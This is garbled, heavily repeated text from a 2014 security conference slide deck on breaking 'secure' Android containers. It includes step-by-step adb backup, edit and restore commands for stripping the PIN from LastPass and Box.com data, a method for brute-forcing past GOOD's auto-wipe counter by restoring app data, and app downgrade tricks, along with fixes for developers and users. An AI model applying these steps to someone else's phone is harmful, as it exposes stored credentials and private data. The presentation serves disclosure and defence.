auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 94: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 95: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

